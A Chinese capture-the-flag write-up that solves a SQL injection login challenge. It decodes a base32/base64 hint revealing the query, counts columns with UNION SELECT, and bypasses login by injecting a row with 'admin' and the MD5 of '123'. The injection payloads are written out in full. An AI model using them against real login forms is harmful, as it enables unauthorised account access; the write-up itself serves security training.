启动靶机,打开环境
又是一道sql注入的题
我又查看源码,发现了一下search.php.然后又惯性思维就把他显示出来,但是出来个这东西
感觉没那么简单,再看一手源码,发现一串加密密文
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
这段应该是base32编码,解一下成了base64编码,然后再解一下就可以了
select * from user where username = '$name'
源码提示我们猜用户名,我们尝试使用admin和非admin登录,
当利用admin当作用户名的时候
当用非admin的作为用户名的时候,
这就确定了,admin是可行的。确认用户列表有admin.
然后我们还是像之前一样,确定一下列数:
name=1' union select 1,2,3,4 %23 &pw=123
这样的话就报错了,然后再把4删掉,成功显示,这便确定了是3列
name=1' union select 1,2,3 %23 &pw=123
然后我们需要爆一下密码,
name=1' union select 1,'admin',3 %23 &pw=123
确是这个亚子,查了一下wp,才了解到如果查询的数据不存在的时候,union查询就会构造一个虚拟的数据。sql的password会md5加密,然后我们将我们自己输的密码编码成md5然后放入第三列当中,123加密成md5是
202cb962ac59075b964b07152d234b70
构造最终的pyload为
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23 &pw=123
这样就爆出来了